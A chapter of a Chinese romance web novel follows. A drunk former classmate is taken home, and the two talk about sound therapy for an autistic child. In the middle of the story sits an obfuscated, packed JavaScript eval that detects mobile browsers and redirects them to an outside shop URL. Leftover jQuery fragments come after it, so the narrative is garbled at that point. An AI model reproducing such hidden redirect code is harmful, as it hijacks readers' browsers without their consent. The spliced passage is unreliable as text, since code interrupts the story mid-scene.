3. 追声音的人(三)

作品:《海刺猬

    江聆是开车来的。


    宁又声知道他这人对外有点小洁癖,大概率是不喜欢叫代驾的,于是没给他点酒。


    但在江聆看来,宁又声太不够意思。


    他有些恼,唤来吧台的服务生,要来了酒单。


    江聆不想在宁又声面前暴露自己酒量毫无长进并且从没来过酒吧的秘密,但为了不闹出笑话,他准备点一杯看着就人畜无害的粉红色樱桃招牌小酒。


    他定睛一看,这酒居然还起了一个洋气的法文名字——LesRetrouvailles


    他一边在心里吐槽酒吧这地方太装,跟宁又声一样,一边注视着宁又声长长的睫毛,回了服务员一句“LesRetrouvailles”。


    服务员尴尬地让他重述一遍,江聆应声回眸眨眨眼睛,指了指酒单,说:“这个,久别重逢。”


    服务生收起酒单往调酒台走,骂道:“装货。”


    她装作不懂他点题的明示,双手撑脸诚恳发问:“我觉得奇怪的点,倒不是汤圆为什么会被激怒,而是……她为什么会过来?”


    见江聆突然幽怨地盯着自己不吭声,宁又声补充道:“之前做每个孩子的背调时陈婧就跟我说过,汤圆不会主动靠近别人,也从来不听老师讲课,就喜欢一个人呆在角落里。陈婧跟她接触得久,那天我找她一起去看监控,她看到汤圆转身的时候明显很惊讶,那就说明这是异常的。”


    江聆这下彻底放弃了跟宁又声叙旧的念头,思考了一会儿,突然笑着说:“宁老师,您对自己的课堂这么没有信心的吗?”


    “也有想过她是被课堂吸引,但干扰因素太多了,而且这对于一个自闭症的孩子来说,概率太低了。”宁又声摆摆手。


    “宁又声,你该相信自己的——”


    服务生突然出现在两人身边,托盘上放着两杯酒。


    江聆敏锐地发现,那杯藏在自己粉色酒水后边那杯蓝绿冰山名叫“Intuition”,也就是:“直觉。”


    宁又声从包里拿出电脑打开文件夹,伸手扔了一颗花生放到嘴里嚼碎,说:“我找了国内外一些权威的自闭症儿童研究,发现通过声音疗愈自闭症儿童在某种程度上是行得通的……”


    宁又声滔滔不绝起来,一条条罗列证据。


    江聆脑袋一疼,想到了大学时候痛苦的小组作业。


    他问:“你不是学金融的吗?”


    她说:“学什么看的都是‘学’好吗,江总、江导、江制片——”


    宁又声故意拉长尾音。


    江聆一边静静听,一边小口抿着酒。冰凉清爽、又甜又辣的酒水下肚,就着宁又声的声音,他胃里的暖意慢慢灌进耳朵里,又爬到脑子去。


    宁又声突然想起来——江聆是开车来的。


    “江聆,你怎么回去?”


    “……”


    “江聆……没事吧?”


    “嘭!”


    靠,一杯就倒啊?


    宁又声看着眼前的男人,觉得这货一定是故意的。


    出于好奇,她走到吧台翻了一眼酒单——


    谁家“久别重逢”上来就是四十度的特调?


    好吧,江聆果真毫无长进。


    她回到卡座,摇摇他的肩膀,问他还有没有意识。


    不过问了也是白问。


    “喂,我给你打车,还是叫代驾?”


    江聆摇头。


    “不要也得要,快点告诉我地址,我帮你下单。”宁又声说。


    江聆摇头。


    如果不是念及旧情,宁又声或许真的会把他直接扔在这里。


    但思来想去,江聆醉倒在这里的前因貌似是自己,她不得不负了这个责任。


    宁又声拖着这个一米八几的男人上了车,迎面而来的是劣质香水混杂皮革的味道……不出意外的话,司机应该在接晚上一单之后还抽空吸了个烟。


    车没开出二里地,江聆就嚷嚷着要吐。


    宁又声和前边时不时瞟一眼后视镜的司机师傅齐声喊道:“别!”


    宁又声把窗户摇下,祈祷红绿灯不要捣乱,更祈祷不要塞车。


    但墨菲定律被触发的条件就是祈祷。


    江聆不算很壮,肉都长在该长的地方,宁又声帮他解领带透气的时候,隔着衬衫摸到了他紧致的肌肤。她触电一般收回手,一个拐弯,江聆歪斜斜朝她倒下来,突然猛吸了一口气。


    他喃喃:“橘子、橙子、花花、阳光、大黄狗……”


    宁又声抬起胳膊闻了闻手腕,今早喷的橙花调香水已经散干净,最后一缕,被江聆无限放大带到了梦境里。


    “老树、梧桐、小青蛇……”


    江聆念咒语一样说着孩童般漫不着边际的话,但确实比刚才安静。


    宁又声扶额,太阳穴重重跳了两下。


    宁又声之前都是在工作室旁边住着,但工作室离福利院有点远,她只能跟房东商议退房。房东大嫂向来乐于助人,不仅给她改了合同,还帮她找了福利院周边的房子。


    宁又声泪眼朦胧,谁知房东大嫂说:“小妞哭啥,那边的房子也是我的。”


    宁又声把他扛上楼,推开房门放到沙发上,来到杂货间找毯子。


    她搬家没多久,杂货室里的拟声道具和衣服都还没来得及收拾,这样找无疑是大海捞针。宁又声没办法,脱了自己的大衣改盖在她身上。


    她不会做饭,但爱喝酒,虽然酒量一般,但胜在一个“爱”字上。所以,家里的小奶锅大多是用来煮泡面和炖醒酒汤的。


    宁又声煮了一锅苹果鲜橙蜂蜜水,一转身,江聆捂着脑袋坐了起来。宁又声的大衣被他叠好,安静地呆在一旁。


    她不知道为什么有点暗爽,倒了两碗汤,端给江聆一碗。


    “喝了吧,暖胃醒酒的。你就算对数字不敏感,好歹也要对自己的酒量有个清晰的认知吧。”她吐槽道。


    江聆硬着嘴说,自己是被宁又声催眠的。


    宁又声刚想辩解什么,突然杂货间传来一阵乒铃乓啷的动静。


    她放下碗走进去,堆积的纸箱不知怎的倒了下来,狼藉一片。


    她扶额:不会是刚才找毯子给箱子翻松了吧。


    刚舒服一点的江聆撸起袖子说要帮忙,宁又声说她这里东西太多太杂,要是让他来,指不定还得摔些什么。


    于是,江聆侧身靠在房门上,打了个苹果橘子味的嗝,红着脸问:“宁又声,你不是一直在福利院的吧。”


    “之前是拟声师。”


    “为什——”


    “人生不必太有规划吧,想做什么就做什么了。”


    “这就是你喜欢中途临阵倒戈的原因?”


    “临阵倒戈”这四个字刺激到了宁又声心里的弦,一拨就痛,回声空虚。她冰冷冷说:“你要是清醒了,就赶紧走吧,我这里不收流浪汉。”


    “宁又声,我刚做了个梦,”他说,“关于你的,但不完全关于你。”


    橘子、橙子、花花、阳光、大黄狗……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621043|187886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老树、梧桐、小青蛇……


    宁又声在江聆眼里并不像王小波笔下那只特立独行的猪,更像是一只单纯又锋芒的鸟,喜欢和很多女孩们一样,用散粉扑头、站在走廊晨读、体育课溜去小花坛看“大黄”——


    那是一只怀过两次孕的橘猫,第一次生崽的时候,接生婆正是宁又声,于是,大黄与她格外亲近。


    除此之外,宁又声还在老树那儿养过一条没毒的小青蛇,不过,青蛇在高二的那个寒假冬眠休憩后,就再也没出现过。


    准确来说,是宁又声不再带着人去看它了,江聆也就默认了小青蛇无由失踪的罪名。


    只可惜,后来学校抓流浪动物抓得严,宁又声害怕大黄和她的崽子们被乱棍打死,于是装病出校门把它们一箱子端去了救助站,遇到了刚校考完赶回学校的江聆。


    那应该是宁又声快高考前做的最离经叛道的事。


    他原以为,这种离别是很痛苦的,可望着保温箱的宁又声没有哭:“说实话,我们都应该早点想到把猫们送去救助站的。”


    她就那样站在他身旁,她围巾的流苏让冬日的季风吹得绕上他的指尖,展柜暖暖的灯光打在两人面上。


    江聆哭得稀里哗啦。


    宁又声与江聆那天在天台聊了很久,他那时候才知道,宁又声的父亲去世之后母亲逼她逼得紧。


    他发过誓说再也不提这事的,但好像食了言。


    “江聆,你太迷恋故事了。”


    江聆不理解她这句话,但宁又声的模样应该是要赶人,他刚要走,就见到宁又声头顶摇摇欲坠的大葫芦掉下来。


    江聆本能上前护着她的头,宁又声本能往后躲,于是四周开始坍塌。


    不痛,但刺耳。


    四周继续坍塌,宁又声却只能听到自己的心脏在跳。


    好吵。


    昏黄的吊灯一晃一晃,江聆环住他的胳膊往后缩,灯光穿进两人的胸膛之间。


    宁又声恼火地说他进来果真没好事,江聆骂她好心当作驴肝肺。


    “驴肝肺,你收吧,我累了。”她拍拍手,头歪向那摊七零八落,说。


    江聆“切”了一声,娴熟地跑到灶台拿起宁又声刚穿完的围裙,自然到像是老夫老妻斗完嘴总有一方骂骂咧咧妥协一样。


    宁又声戴上眼镜,打开电脑继续看自闭症儿童声音辅疗的纪录片。


    江聆明明不在自己跟前,但是杂货间里窸窸窣窣的声音接连不断传来,宁又声不自觉就被吸引注意力。


    她不用看就知道,他在动哪那件道具、打开哪个盒子、摸鱼的时候打了多少个字……


    声音,是吸引人的。


    自己能够被吸引,那么,汤圆也可以。


    不是吗?


    宁又声戴上耳机,江聆的影子突然出现在自己跟前,她抬头——


    江聆左手清洁剂右手扫把,身上还挂着卡通兔子图案的花围裙。


    他低头,宁又声抬头。


    宁又声望见他粲然一笑,露出一颗狡黠的虎牙:“这只兔子还是我们动画公司设计的嘞。”


    她问:“江聆,院长对你为什么这么客气?”


    “捕梦盒一直是你们星愿育苗项目的资金合作方呀,只不过通常不由我负责这个。”


    “金主啊。”


    “算是吧。”


    宁又声上下打量着他,江聆不安地吞了吞口水。她嘴角勾起一个俏皮的角度,收起背上的刺,装成乖乖的小猪:“那你找个时间陪我去找一下她呗。”